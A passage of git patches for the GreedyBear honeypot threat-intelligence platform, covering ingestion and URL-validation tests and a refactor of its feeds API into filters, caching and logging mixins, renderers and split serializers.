test_atomic_transaction_rolls_back_on_mid_pipeline_crash(self, mock_scores_cls, mock_hits): + """ + Ensure that if a crash occurs mid-pipeline (e.g., inside UpdateScores), + all previous database modifications within the loop are completely rolled back. + """ + # 1. Setup a real raw event and mock hits to produce a valid IOC + self._make_raw(src_ip="7.7.7.7") + mock_hits.return_value = [make_ioc("7.7.7.7")] + + # 2. Force the pipeline to violently crash right at the end of the loop (during Scoring) + mock_scores_instance = MagicMock() + mock_scores_instance.score_only.side_effect = RuntimeError("Database connection lost during scoring!") + mock_scores_cls.return_value = mock_scores_instance + + # 3. Trigger the ingestion processor + process_incoming_event(self.api_source.id, self.batch.task_id) + + # 4. Assertions: + self.batch.refresh_from_db() + # The overall status should be marked as failed due to the exception catch block + self.assertEqual(self.batch.status, "failed") + self.assertIn("Database connection lost", self.batch.last_error) + + # ATOMICITY VERIFICATION: + # Because add_ioc run successfully before the crash, without transaction.atomic, + # the IOC row would permanently leak into the database. + # With the transaction block, it must be completely rolled back. + ioc_exists = IOC.objects.filter(name="7.7.7.7").exists() + self.assertFalse(ioc_exists, "The IOC record leaked into the database despite a pipeline crash!") + + # The raw event tracking flag should also remain False so it can be retried safely later + raw_event = RawEvent.objects.filter(batch=self.batch).first() + self.assertFalse(raw_event.processed) + + @patch("greedybear.process_event._normalize_raw_event_to_hit", return_value={"src_ip": "192.168.1.1"}) + def test_eliminated_raise_all_events_invalid_graceful_return(self, mock_normalize): + """ + Verifies that when all events fail normalization, the function + gracefully logs the error in the database without raising a ValueError. + """ + # Create a raw event so the function doesn't bail early on the empty check + self._make_raw(src_ip="192.168.1.1") + + try: + # Execute the function — it should handle the failure without throwing an exception + process_incoming_event(self.api_source.id, self.batch.task_id) + except ValueError as exc: + self.fail(f"process_incoming_event raised a ValueError! {exc}") + + # Refresh state from the database + self.batch.refresh_from_db() + + # Assert that control flow handled it perfectly + self.assertEqual(self.batch.status, "failed") + + self.assertEqual(self.batch.ioc_count, 0) diff --git a/tests/test_utils.py b/tests/test_utils.py index e35781831..c99887bd8 100644 --- a/tests/test_utils.py +++ b/tests/test_utils.py @@ -7,6 +7,9 @@ from greedybear.consts import DOMAIN, IP from greedybear.utils import ( + PAYLOAD_REQUEST, + SCANNER, + get_attack_type, get_ioc_type, is_ip_address, is_non_global_ip, @@ -14,6 +17,7 @@ is_valid_cidr, is_valid_domain, is_valid_ipv4, + is_valid_url, ) from . import CustomTestCase @@ -338,3 +342,37 @@ def test_is_non_global_ip(self): self.assertFalse(is_non_global_ip(ip_address("8.8.8.8"))) self.assertFalse(is_non_global_ip(ip_address("2001:4860:4860::8888"))) + + def test_is_valid_url(self): + # Valid URLs (Must have http/https, a domain, and a path) + self.assertTrue(is_valid_url("https://example.com/payload.exe")) + self.assertTrue(is_valid_url("http://192.168.1.100/malware/sh")) + + # Invalid URLs (Missing path) + self.assertFalse(is_valid_url("https://example.com")) + self.assertFalse(is_valid_url("https://example.com/")) + + # Invalid URLs (Bad or missing schemes) + self.assertFalse(is_valid_url("ftp://example.com/file.zip")) + self.assertFalse(is_valid_url("example.com/payload.php")) + + # Invalid URLs (Malformatted/empty netloc) + self.assertFalse(is_valid_url("https:///path/to/file")) + self.assertFalse(is_valid_url("")) + + def test_get_attack_type(self): + scanner_hits = [ + {"_related_url": "https://example.com/"}, # Invalid: no path + {"_related_url": "ftp://badsite.com/payload.exe"}, # Invalid: bad scheme + {"something_else": "no_url_key_at_all"}, + ] + self.assertEqual(get_attack_type(scanner_hits), SCANNER) + + payload_hits = [ + {"_related_url": "https://example.com/"}, # Invalid hit + {"_related_url": "https://example.com/download.exe"}, # Valid hit! + {"_related_url": "ftp://badsite.com/payload.exe"}, # Invalid hit + ] + self.assertEqual(get_attack_type(payload_hits), PAYLOAD_REQUEST) + + self.assertEqual(get_attack_type([]), SCANNER) From 5cee040210b6f7a303983aadc891b853fea4f0b7 Mon Sep 17 00:00:00 2001 From: tim <46972822+regulartim@users.noreply.github.com> Date: Fri, 12 Jun 2026 14:37:38 +0200 Subject: [PATCH 034/131] Feeds API Refactoring. Closes #1092 and #1350 (#1388) * refactor feed request serialization * add django-filter to requirements * first draft using class based views * add special ordering default to ASNFeedOrderingSerializer * add custom response renderers * restructure helper functions * adapt function call for scoring * adapt and polish API views * fix format * remove nginx caching * add cache wrapper class * remove old caching wrapper * fix format * add API caching mixin * add caching constants * add new API DB cache * use API cache in feeds view * adapt tests * add type hints to filters.py * add format field to renderers * add serializer for the ASN feed * adapt tests * add drf-spectacular docs * change doc description * add serializers for share endpoints * refactor share endpoints * adapt tests * fix format * polish * add format parity tests * add basic cache tests * fix format * add cache invalidation test cases * add FeedRendererMixin + tests to prevent crashes on error responses * allow commas in feed license text * add mixin for request logging and move caching mixin * add tests for API logging * drop max_age param if an explicit date range replaces is set * match tag key case insensitive * remove no-op method * add credential count filter to AS endpoint and remove unnecessary overrides * add test cases for credential count filter in AS endpoint * fix comment --- api/apps.py | 18 + api/filters.py | 74 ++ api/mixins.py | 89 +++ api/renderers.py | 80 ++ api/serializers.py | 339 --------- api/serializers/__init__.py | 4 + api/serializers/common.py | 69 ++ api/serializers/events.py | 95 +++ api/serializers/feeds.py | 396 ++++++++++ api/serializers/utils.py | 29 + api/urls.py | 46 +- api/views/feeds.py | 765 +++++++++++--------- api/views/utils.py | 691 +++++------------- configuration/nginx/http.conf | 8 - configuration/nginx/https.conf | 8 - docker/Dockerfile_nginx | 2 +- docker/entrypoint_gunicorn.sh | 3 +- greedybear/cache.py | 48 ++ greedybear/consts.py | 10 + greedybear/cronjobs/extraction/pipeline.py | 16 +- greedybear/cronjobs/scoring/utils.py | 16 +- greedybear/settings.py | 27 + pyproject.toml | 2 + tests/__init__.py | 9 + tests/api/test_feed_types.py | 5 +- tests/api/views/test_feeds_advanced_view.py | 32 +- tests/api/views/test_feeds_asn_view.py | 53 +- tests/api/views/test_feeds_format_parity.py | 79 ++ tests/api/views/test_feeds_tags.py | 11 + tests/api/views/test_request_logging.py | 33 + tests/test_cache.py | 190 +++++ tests/test_serializers.py | 103 +-- uv.lock | 4 + 33 files changed, 2025 insertions(+), 1329 deletions(-) create mode 100644 api/filters.py create mode 100644 api/mixins.py create mode 100644 api/renderers.py delete mode 100644 api/serializers.py create mode 100644 api/serializers/__init__.py create mode 100644 api/serializers/common.py create mode 100644 api/serializers/events.py create mode 100644 api/serializers/feeds.py create mode 100644 api/serializers/utils.py create mode 100644 greedybear/cache.py create mode 100644 tests/api/views/test_feeds_format_parity.py create mode 100644 tests/api/views/test_request_logging.py create mode 100644 tests/test_cache.py diff --git a/api/apps.py b/api/apps.py index cbe2c1784..d106b2185 100644 --- a/api/apps.py +++ b/api/apps.py @@ -1,6 +1,24 @@ # This file is a part of GreedyBear https://github.com/honeynet/GreedyBear # See the file 'LICENSE' for copying permission. from django.apps import AppConfig +from drf_spectacular.extensions import OpenApiAuthenticationExtension + + +class CookieTokenAuthScheme(OpenApiAuthenticationExtension): + """Tell drf-spectacular how to represent certego-saas' CookieTokenAuthentication + as an OpenAPI security scheme, so authenticated endpoints document the Token + header (and get an "Authorize" entry in Swagger UI).""" + + target_class = "certego_saas.apps.auth.backend.CookieTokenAuthentication" + name = "tokenAuth" + + def get_security_definition(self, auto_schema): + return { + "type": "apiKey", + "in": "header", + "name": "Authorization", + "description": "Durin token auth. Use header `Authorization: Token `.", + } class ApiConfig(AppConfig): diff --git a/api/filters.py b/api/filters.py new file mode 100644 index 000000000..49a5b91ca --- /dev/null +++ b/api/filters.py @@ -0,0 +1,74 @@ +from datetime import timedelta + +import django_filters +from django.db.models import Count, QuerySet +from django.utils import timezone + +from greedybear.models import IOC + + +class FeedsFilterSet(django_filters.FilterSet): + asn = django_filters.NumberFilter(field_name="autonomous_system__asn") + min_score = django_filters.NumberFilter(field_name="recurrence_probability", lookup_expr="gte") + min_expected_interactions = django_filters.NumberFilter(field_name="expected_interactions", lookup_expr="gte") + start_date = django_filters.DateFilter(field_name="last_seen", lookup_expr="gte") + end_date = django_filters.DateFilter(field_name="last_seen", lookup_expr="lte") + tag_key = django_filters.CharFilter(field_name="tags__key", lookup_expr="iexact") + tag_value = django_filters.CharFilter(field_name="tags__value", lookup_expr="icontains") + + attack_type = django_filters.CharFilter(method="filter_attack_type") + ioc_type = django_filters.CharFilter(method="filter_ioc_type") + port = django_filters.NumberFilter(method="filter_port") + country_code = django_filters.CharFilter(method="filter_country_code") + min_days_seen = django_filters.NumberFilter(method="filter_min_days_seen") + max_age = django_filters.NumberFilter(method="filter_max_age") + include_reputation = django_filters.Filter(method="filter_include_reputation") + min_credential_count = django_filters.NumberFilter(method="filter_min_credential_count") + max_credential_count = django_filters.NumberFilter(method="filter_max_credential_count") + + class Meta: + model = IOC + fields = [] # all filters are declared explicitly above + + def filter_attack_type(self, queryset: QuerySet, name: str, value: str) -> QuerySet: + if value and value != "all": + return queryset.filter(**{value: True}) + return queryset + + def filter_ioc_type(self, queryset: QuerySet, name: str, value: str) -> QuerySet: + if value and value != "all": + return queryset.filter(type=value) + return queryset + + def filter_port(self, queryset: QuerySet, name: str, value: int) -> QuerySet: + return queryset.filter(destination_ports__contains=[int(value)]) + + def filter_country_code(self, queryset: QuerySet, name: str, value: str) -> QuerySet: + return queryset.filter(attacker_country_code=value.upper()) + + def filter_min_days_seen(self, queryset: QuerySet, name: str, value: int) -> QuerySet: + if value and value > 1: + return queryset.filter(number_of_days_seen__gte=value) + return queryset + + def filter_include_reputation(self, queryset: QuerySet, name: str, value: list[str]) -> QuerySet: + if value: + return queryset.filter(ip_reputation__in=value) + return queryset + + def filter_min_credential_count(self, queryset: QuerySet, name: str, value: int) -> QuerySet: + return self._filter_by_credential_count(queryset, "gte", value) + + def filter_max_credential_count(self, queryset: QuerySet, name: str, value: int) -> QuerySet: + return self._filter_by_credential_count(queryset, "lte", value) + + def _filter_by_credential_count(self, queryset: QuerySet, lookup: str, value: int) -> QuerySet: + qualifying = IOC.objects.annotate(cc=Count("credentials", distinct=True)).filter(**{f"cc__{lookup}": value}).values("id") + return queryset.filter(id__in=qualifying) + + def filter_max_age(self, queryset: QuerySet, name: str, value: int) -> QuerySet: + # drop max_age id an explicit date range replaces is set + if self.data.get("start_date") or self.data.get("end_date"): + return queryset + cutoff = timezone.now() - timedelta(days=int(value)) + return queryset.filter(last_seen__gte=cutoff) diff --git a/api/mixins.py b/api/mixins.py new file mode 100644 index 000000000..de2289ef5 --- /dev/null +++ b/api/mixins.py @@ -0,0 +1,89 @@ +import logging +import urllib.parse +from functools import cached_property + +from django.http import HttpResponse +from rest_framework.request import Request +from rest_framework.response import Response + +from greedybear.cache import Cache, build_versioned_key +from greedybear.consts import API_CACHE_ALIAS, API_CACHE_TIMEOUT_SECONDS, IOC_DATA_VERSION_KEY + +logger = logging.getLogger(__name__) + + +class CachedResponseMixin: + """Adds versioned response caching to an APIView. + Subclasses opt in by setting cache_namespace.""" + + cache = Cache(API_CACHE_ALIAS) + cache_namespace: str | None = None + cache_version_key: str = IOC_DATA_VERSION_KEY + cache_timeout: int = API_CACHE_TIMEOUT_SECONDS + + @cached_property + def cache_key(self) -> str | None: + """Versioned cache key for this request, or None when caching is disabled. + Computed once on first access (during the read) + and memoized on the per-request view instance.""" + if not self._cache_enabled(): + return None + version = self.cache.get_data_version(self.cache_version_key) + sorted_params = sorted(self.request.query_params.lists()) + params_string = urllib.parse.urlencode(sorted_params, doseq=True) + key_material = f"{self.__class__.__name__}|{self.request.path}|{params_string}" + return build_versioned_key(self.cache_namespace, version, key_material) + + def get_cached_response(self) -> HttpResponse | None: + """Return a hit, or None when caching is disabled or on a miss.""" + if self.cache_key is None: + return None + cached = self.cache.get(self.cache_key) + if cached is None: + return None + return HttpResponse(cached["content"], content_type=cached["content_type"], status=cached["status"]) + + def finalize_response(self, request, response, *args, **kwargs): + """Cache the rendered response under the key captured during the read. + Runs after DRF has attached the renderer to the response.""" + response = super().finalize_response(request, response, *args, **kwargs) + self._store_api_response(response) + return response + + def _cache_enabled(self) -> bool: + """Determines if cache was enabled + by checking if cache_namespace is set.""" + return self.cache_namespace is not None + + def _store_api_response(self, response: Response) -> bool: + """Store a successful (200) and rendered DRF Response under cache_key.""" + if self.cache_key is None: + return False + if not isinstance(response, Response): + return False + if response.status_code != 200: + return False + if not response.is_rendered: + response.render() + self.cache.set( + self.cache_key, + { + "content": response.rendered_content, + "content_type": response["content-type"], + "status": response.status_code, + }, + timeout=self.cache_timeout, + ) + return True + + +class RequestLoggingMixin: + """Emit a access-log line per request for any APIView/ViewSet it is mixed into.""" + + EXCLUDED_LOG_PARAMS = frozenset({"reason"}) + + def initial(self, request: Request, *args, **kwargs): + route = getattr(getattr(request, "resolver_match", None), "route", None) or request.path.lstrip("/") + params = {k: v for k, v in request.query_params.items() if k not in self.EXCLUDED_LOG_PARAMS} + logger.info(f"request {request.method} /{route} params: {params}") + super().initial(request, *args, **kwargs) diff --git a/api/renderers.py b/api/renderers.py new file mode 100644 index 000000000..358fe1860 --- /dev/null +++ b/api/renderers.py @@ -0,0 +1,80 @@ +import csv +import io + +from django.conf import settings +from django.db.models import QuerySet +from rest_framework.renderers import BaseRenderer, JSONRenderer + +from api.views.utils import build_feed_dict, build_stix_bundle + + +class FeedJSONRenderer(JSONRenderer): + """JSON feed renderer. + When the `build_feed_envelope` context flag is set, it shapes the raw IOC + rows into the {"iocs": [...], "license": ...} envelope. + Any other payload (ASN list, pagination envelope) is rendered as plain JSON. + """ + + def render(self, data, accepted_media_type=None, renderer_context=None): + context = renderer_context or {} + if context.get("build_feed_envelope"): + data = build_feed_dict( + data, + verbose=context.get("verbose", False), + include_sensors=context.get("include_sensors", False), + ) + return super().render(data, accepted_media_type, renderer_context) + + +class FeedRendererMixin(BaseRenderer): + """Shared safety net for the non-JSON feed renderers.""" + + def render(self, data, accepted_media_type=None, renderer_context=None): + if not isinstance(data, QuerySet): + return JSONRenderer().render(data, accepted_media_type, renderer_context) + return self.render_feed(data, accepted_media_type, renderer_context) + + def render_feed(self, data, accepted_media_type=None, renderer_context=None): + raise NotImplementedError + + +class FeedTextRenderer(FeedRendererMixin): + """Plain-text feed: one IOC value per line, prefixed by the license comment.""" + + media_type = "text/plain" + format = "txt" + charset = None + + def render_feed(self, data, accepted_media_type=None, renderer_context=None): + lines = [f"# {settings.FEEDS_LICENSE}"] if settings.FEEDS_LICENSE else [] + lines += [row[0] for row in data.values_list("name")] + return "\n".join(lines).encode("utf-8") + + +class FeedCSVRenderer(FeedRendererMixin): + """CSV feed: one IOC value per row, prefixed by the license comment.""" + + media_type = "text/csv" + format = "csv" + charset = None + + def render_feed(self, data, accepted_media_type=None, renderer_context=None): + buffer = io.StringIO() + writer = csv.writer(buffer, quoting=csv.QUOTE_MINIMAL) + if settings.FEEDS_LICENSE: + buffer.write("# ") + writer.writerow([settings.FEEDS_LICENSE]) + writer.writerows([list(row) for row in data.values_list("name")]) + return buffer.getvalue().encode("utf-8") + + +class Stix21Renderer(FeedRendererMixin): + """STIX 2.1 bundle feed (served as application/json).""" + + media_type = "application/json" + format = "stix21" + charset = None + + def render_feed(self, data, accepted_media_type=None, renderer_context=None): + request = (renderer_context or {}).get("request") + return build_stix_bundle(data, request=request).encode("utf-8") diff --git a/api/serializers.py b/api/serializers.py deleted file mode 100644 index a4481c943..000000000 --- a/api/serializers.py +++ /dev/null @@ -1,339 +0,0 @@ -import logging -import re -from functools import cache - -from django.core.exceptions import FieldDoesNotExist -from django.utils import timezone -from rest_framework import serializers - -from greedybear.consts import REGEX_DOMAIN -from greedybear.models import IOC, Honeypot, Sensor, Tag -from greedybear.utils import is_ip_address - -logger = logging.getLogger(__name__) - - -class HoneypotSerializer(serializers.ModelSerializer): - class Meta: - model = Honeypot - - def to_representation(self, value): - return value.name - - -class TagSerializer(serializers.ModelSerializer): - class Meta: - model = Tag - fields = ["key", "value", "source"] - - -class SensorSerializer(serializers.ModelSerializer): - class Meta: - model = Sensor - fields = ["address", "label"] - - -class IOCSerializer(serializers.ModelSerializer): - general_honeypot = HoneypotSerializer(many=True, read_only=True, source="honeypots") - tags = TagSerializer(many=True, read_only=True) - sensors = SensorSerializer(many=True, read_only=True) - - class Meta: - model = IOC - exclude = [ - "related_urls", - ] - - -class EnrichmentSerializer(serializers.Serializer): - found = serializers.BooleanField(read_only=True, default=False) - ioc = IOCSerializer(read_only=True, default=None) - query = serializers.CharField(max_length=250) - - def validate(self, data): - """ - Validate that the query is a valid IP address (IPv4/IPv6) or domain. - """ - observable = data["query"].strip() - data["query"] = observable - - # A valid domain must match the domain regex AND contain at least one alphabetic character - is_domain = bool(re.match(REGEX_DOMAIN, observable)) and any(c.isalpha() for c in observable) - - if not is_ip_address(observable) and not is_domain: - raise serializers.ValidationError("Observable is not a valid IP address or domain") - - try: - required_object = IOC.objects.prefetch_related("tags", "sensors").get(name=observable) - data["found"] = True - data["ioc"] = required_object - except IOC.DoesNotExist: - data["found"] = False - return data - - -def parse_feed_types(feed_type_str: str) -> list: - """Split a comma-separated feed type string into a stripped list of individual feed types. - - Args: - feed_type_str (str): Comma-separated feed type string (e.g. "cowrie,adbhoney"). - - Returns: - list[str]: List of non-empty, stripped feed type tokens. - """ - return [ft.strip() for ft in feed_type_str.split(",") if ft.strip()] - - -def feed_type_validation(feed_type: str, valid_feed_types: frozenset) -> str: - """Validates that a given feed type exists in the set of valid feed types. - - Args: - feed_type (str): The feed type to validate - valid_feed_types (frozenset): Set of allowed feed type values - - Returns: - str: The validated feed type string, unchanged - - Raises: - serializers.ValidationError: If feed_type is not found in valid_feed_types - """ - if feed_type not in valid_feed_types: - logger.info(f"Feed type {feed_type} not in feed_choices {valid_feed_types}") - raise serializers.ValidationError(f"Invalid feed_type: {feed_type}") - return feed_type - - -@cache -def ordering_validation(ordering: str) -> str: - """Validates that given ordering corresponds to a field in the IOC model. - - Args: - ordering (str): The ordering to validate - - Returns: - str: The validated ordering string, unchanged - - Raises: - serializers.ValidationError: If ordering does not correspond to a field in the IOC model - """ - if not ordering: - raise serializers.ValidationError("Invalid ordering: ") - # remove minus sign if present - field_name = ordering.removeprefix("-") - try: - IOC._meta.get_field(field_name) - except FieldDoesNotExist as exc: - raise serializers.ValidationError(f"Invalid ordering: {ordering}") from exc - return ordering - - -class FeedsRequestSerializer(serializers.Serializer): - feed_type = serializers.CharField() - attack_type = serializers.ChoiceField(choices=["scanner", "payload_request", "all"]) - ioc_type = serializers.ChoiceField(choices=["ip", "domain", "all"]) - max_age = serializers.IntegerField(min_value=1) - min_days_seen = serializers.IntegerField(min_value=1) - min_credential_count = serializers.IntegerField(required=False, min_value=1) - max_credential_count = serializers.IntegerField(required=False, min_value=0) - include_reputation = serializers.ListField(child=serializers.CharField(max_length=120)) - exclude_reputation = serializers.ListField(child=serializers.CharField(max_length=120)) - feed_size = serializers.IntegerField(min_value=1) - ordering = serializers.CharField(max_length=120) - verbose = serializers.ChoiceField(choices=["true", "false"]) - paginate = serializers.ChoiceField(choices=["true", "false"]) - format = serializers.ChoiceField(choices=["csv", "json", "txt", "stix21"]) - asn = serializers.IntegerField(min_value=1, required=False, allow_null=True) - min_score = serializers.FloatField(min_value=0, max_value=1, required=False, allow_null=True) - min_expected_interactions = serializers.FloatField(min_value=0, required=False, allow_null=True) - port = serializers.IntegerField(min_value=1, max_value=65535, required=False, allow_null=True) - start_date = serializers.DateField(format="%Y-%m-%d", required=False, allow_null=True) - end_date = serializers.DateField(format="%Y-%m-%d", required=False, allow_null=True) - tag_key = serializers.CharField(max_length=128, required=False, allow_blank=True) - tag_value = serializers.CharField(max_length=256, required=False, allow_blank=True) - country_code = serializers.CharField(max_length=2, required=False, allow_blank=True) - - def validate_feed_type(self, feed_type): - logger.debug(f"FeedsRequestSerializer - validation feed_type: '{feed_type}'") - feed_types = parse_feed_types(feed_type) - if not feed_types: - raise serializers.ValidationError("Invalid feed_type: must not be empty") - valid_feed_types = self.context["valid_feed_types"] - if len(feed_types) > len(valid_feed_types): - raise serializers.ValidationError(f"Invalid feed_type: too many types specified (max {len(valid_feed_types)})") - if "all" in feed_types and len(feed_types) > 1: - raise serializers.ValidationError("Invalid feed_type: 'all' cannot be combined with other feed types") - for ft in feed_types: - feed_type_validation(ft, valid_feed_types) - return feed_type - - def validate_ordering(self, ordering): - logger.debug(f"FeedsRequestSerializer - validation ordering: '{ordering}'") - return ordering_validation(ordering) - - def validate(self, data): - min_cc = data.get("min_credential_count") - max_cc = data.get("max_credential_count") - if min_cc is not None and max_cc is not None and min_cc > max_cc: - raise serializers.ValidationError("min_credential_count must be less than or equal to max_credential_count") - return data - - -class ASNFeedsOrderingSerializer(FeedsRequestSerializer): - ALLOWED_ORDERING_FIELDS = frozenset( - { - "asn", - "as_name", - "ioc_count", - "total_attack_count", - "total_interaction_count", - "total_login_attempts", - "expected_ioc_count", - "expected_interactions", - "first_seen", - "last_seen", - } - ) - - def validate_ordering(self, ordering): - field_name = ordering.lstrip("-").strip() - - if field_name not in self.ALLOWED_ORDERING_FIELDS: - raise serializers.ValidationError( - f"Invalid ordering field for ASN aggregated feed: '{field_name}'. Allowed fields: {', '.join(sorted(self.ALLOWED_ORDERING_FIELDS))}" - ) - - return ordering - - -class FeedsResponseSerializer(serializers.Serializer): - """ - Serializer for feed response data structure. - - NOTE: This serializer is currently NOT used in production code (as of #629). - It has been kept in the codebase for the following reasons: - - 1. **Documentation**: Serves as a clear schema definition for the API response contract - 2. **Testing**: Validates the expected response structure through unit tests - 3. **Future-proofing**: Allows easy re-enabling of validation if security requirements change - 4. **Reference**: Useful for API consumers and developers to understand the response format - - Performance Optimization Context: - Previously, this serializer was instantiated and validated for each IOC in the response - (up to 5000 times per request), causing significant overhead (~1.8s for 5000 IOCs). - The optimization removed this per-item validation since the data is constructed internally - in api/views/utils.py::feeds_response() and guaranteed to match this schema. - - The response is now built directly without serializer validation, reducing response time - to ~0.03s (50-90x speedup) while maintaining the exact same API contract defined here. - - See: #629 for benchmarking details and discussion. - """ - - feed_type = serializers.ListField(child=serializers.CharField(max_length=120)) - value = serializers.CharField(max_length=256) - scanner = serializers.BooleanField() - payload_request = serializers.BooleanField() - first_seen = serializers.DateField(format="%Y-%m-%d") - last_seen = serializers.DateField(format="%Y-%m-%d") - attack_count = serializers.IntegerField(min_value=1) - interaction_count = serializers.IntegerField(min_value=1) - ip_reputation = serializers.CharField(allow_blank=True, max_length=32) - firehol_categories = serializers.ListField(child=serializers.CharField(max_length=64), allow_empty=True) - asn = serializers.IntegerField(allow_null=True, min_value=1) - destination_port_count = serializers.IntegerField(min_value=0) - login_attempts = serializers.IntegerField(min_value=0) - recurrence_probability = serializers.FloatField(min_value=0, max_value=1) - expected_interactions = serializers.FloatField(min_value=0) - attacker_country = serializers.CharField(allow_null=True, allow_blank=True, max_length=120) - attacker_country_code = serializers.CharField(allow_null=True, allow_blank=True, max_length=2) - tags = TagSerializer(many=True, required=False, default=list) - sensors = SensorSerializer(many=True, required=False, default=list) - - def validate_feed_type(self, feed_type): - logger.debug(f"FeedsResponseSerializer - validation feed_type: '{feed_type}'") - return [feed_type_validation(feed, self.context["valid_feed_types"]) for feed in feed_type] - - -class SensorCreateSerializer(serializers.ModelSerializer): - sensor_label = serializers.CharField(source="label", required=False, allow_blank=True, max_length=128) - - asn = serializers.IntegerField( - required=False, - allow_null=True, - min_value=1, - ) - - class Meta: - model = Sensor - fields = [ - "id", - "address", - "honeypot_type", - "honeypot_software", - "honeypot_description", - "sensor_label", - "group_label", - "country_code", - "asn", - ] - - extra_kwargs = { - "address": {"validators": []}, - } - - read_only_fields = ["id"] - - def validate_country_code(self, value): - """ - Validates that the input is exactly 2 alphabet letters using regex, - and converts it to uppercase. - """ - if value: - # Regex pattern: ^[A-Za-z]{2}$ means exactly two letters (A-Z or a-z) - if not re.match(r"^[A-Za-z]{2}$", value): - raise serializers.ValidationError("Country code must be a 2-character ISO code containing letters only (e.g. 'NP', 'IN').") - return value.upper() - - return value - - def validate_address(self, value): - if not is_ip_address(value): - raise serializers.ValidationError("Invalid IP address") - return value - - -class EventSerializer(serializers.Serializer): - # required fields - src_ip = serializers.IPAddressField(required=True) - event_type = serializers.CharField(required=True, max_length=100) - timestamp = serializers.DateTimeField(required=True) - sensor_id = serializers.IntegerField(required=True, min_value=0) - - # optional string fields - session_id = serializers.CharField(default="", max_length=100, allow_blank=True) - token_id = serializers.CharField(default="", max_length=100, allow_blank=True) - protocol = serializers.CharField(default="", max_length=50, allow_blank=True) - service_name = serializers.CharField(default="", max_length=100, allow_blank=True) - username = serializers.CharField(default="", max_length=255, allow_blank=True) - password = serializers.CharField(default="", max_length=255, allow_blank=True) - cve_id = serializers.CharField(default="", max_length=50, allow_blank=True) - command = serializers.CharField(default="", allow_blank=True) - src_port = serializers.IntegerField(default=None, min_value=1, max_value=65535, allow_null=True) - dest_port = serializers.IntegerField(default=None, min_value=1, max_value=65535, allow_null=True) - related_url = serializers.URLField(default="", max_length=900, allow_blank=True) - payload_hash = serializers.CharField(default="", max_length=64, allow_blank=True) - data = serializers.JSONField(default=dict) - - def validate_timestamp(self, value): - if value > timezone.now(): - raise serializers.ValidationError("Timestamp cannot be in the future.") - return value - - -class InjectionSerializer(serializers.Serializer): - events = serializers.ListField( - child=EventSerializer(), - min_length=1, - max_length=10000, - error_messages={"min_length": "At least one event is required.", "max_length": "Batch size cannot exceed 10,000 events."}, - ) diff --git a/api/serializers/__init__.py b/api/serializers/__init__.py new file mode 100644 index 000000000..ad98a74a2 --- /dev/null +++ b/api/serializers/__init__.py @@ -0,0 +1,4 @@ +from .common import * +from .events import * +from .feeds import * +from .utils import * diff --git a/api/serializers/common.py b/api/serializers/common.py new file mode 100644 index 000000000..23c05bf7f --- /dev/null +++ b/api/serializers/common.py @@ -0,0 +1,69 @@ +import logging +import re + +from rest_framework import serializers + +from greedybear.consts import REGEX_DOMAIN +from greedybear.models import IOC, Honeypot, Sensor, Tag +from greedybear.utils import is_ip_address + +logger = logging.getLogger(__name__) + + +class HoneypotSerializer(serializers.ModelSerializer): + class Meta: + model = Honeypot + + def to_representation(self, value): + return value.name + + +class TagSerializer(serializers.ModelSerializer): + class Meta: + model = Tag + fields = ["key", "value", "source"] + + +class SensorSerializer(serializers.ModelSerializer): + class Meta: + model = Sensor + fields = ["address", "label"] + + +class IOCSerializer(serializers.ModelSerializer): + general_honeypot = HoneypotSerializer(many=True, read_only=True, source="honeypots") + tags = TagSerializer(many=True, read_only=True) + sensors = SensorSerializer(many=True, read_only=True) + + class Meta: + model = IOC + exclude = [ + "related_urls", + ] + + +class EnrichmentSerializer(serializers.Serializer): + found = serializers.BooleanField(read_only=True, default=False) + ioc = IOCSerializer(read_only=True, default=None) + query = serializers.CharField(max_length=250) + + def validate(self, data): + """ + Validate that the query is a valid IP address (IPv4/IPv6) or domain. + """ + observable = data["query"].strip() + data["query"] = observable + + # A valid domain must match the domain regex AND contain at least one alphabetic character + is_domain = bool(re.match(REGEX_DOMAIN, observable)) and any(c.isalpha() for c in observable) + + if not is_ip_address(observable) and not is_domain: + raise serializers.ValidationError("Observable is not a valid IP address or domain") + + try: + required_object = IOC.objects.prefetch_related("tags", "sensors").get(name=observable) + data["found"] = True + data["ioc"] = required_object + except IOC.DoesNotExist: + data["found"] = False + return data diff --git a/api/serializers/events.py b/api/serializers/events.py new file mode 100644 index 000000000..d977412e2 --- /dev/null +++ b/api/serializers/events.py @@ -0,0 +1,95 @@ +import logging +import re + +from django.utils import timezone +from rest_framework import serializers + +from greedybear.models import Sensor +from greedybear.utils import is_ip_address + +logger = logging.getLogger(__name__) + + +class SensorCreateSerializer(serializers.ModelSerializer): + sensor_label = serializers.CharField(source="label", required=False, allow_blank=True, max_length=128) + + asn = serializers.IntegerField( + required=False, + allow_null=True, + min_value=1, + ) + + class Meta: + model = Sensor + fields = [ + "id", + "address", + "honeypot_type", + "honeypot_software", + "honeypot_description", + "sensor_label", + "group_label", + "country_code", + "asn", + ] + + extra_kwargs = { + "address": {"validators": []}, + } + + read_only_fields = ["id"] + + def validate_country_code(self, value): + """ + Validates that the input is exactly 2 alphabet letters using regex, + and converts it to uppercase. + """ + if value: + # Regex pattern: ^[A-Za-z]{2}$ means exactly two letters (A-Z or a-z) + if not re.match(r"^[A-Za-z]{2}$", value): + raise serializers.ValidationError("Country code must be a 2-character ISO code containing letters only (e.g. 'NP', 'IN').") + return value.upper() + + return value + + def validate_address(self, value): + if not is_ip_address(value): + raise serializers.ValidationError("Invalid IP address") + return value + + +class EventSerializer(serializers.Serializer): + # required fields + src_ip = serializers.IPAddressField(required=True) + event_type = serializers.CharField(required=True, max_length=100) + timestamp = serializers.DateTimeField(required=True) + sensor_id = serializers.IntegerField(required=True, min_value=0) + + # optional string fields + session_id = serializers.CharField(default="", max_length=100, allow_blank=True) + token_id = serializers.CharField(default="", max_length=100, allow_blank=True) + protocol = serializers.CharField(default="", max_length=50, allow_blank=True) + service_name = serializers.CharField(default="", max_length=100, allow_blank=True) + username = serializers.CharField(default="", max_length=255, allow_blank=True) + password = serializers.CharField(default="", max_length=255, allow_blank=True) + cve_id = serializers.CharField(default="", max_length=50, allow_blank=True) + command = serializers.CharField(default="", allow_blank=True) + src_port = serializers.IntegerField(default=None, min_value=1, max_value=65535, allow_null=True) + dest_port = serializers.IntegerField(default=None, min_value=1, max_value=65535, allow_null=True) + related_url = serializers.URLField(default="", max_length=900, allow_blank=True) + payload_hash = serializers.CharField(default="", max_length=64, allow_blank=True) + data = serializers.JSONField(default=dict) + + def validate_timestamp(self, value): + if value > timezone.now(): + raise serializers.ValidationError("Timestamp cannot be in the future.") + return value + + +class InjectionSerializer(serializers.Serializer): + events = serializers.ListField( + child=EventSerializer(), + min_length=1, + 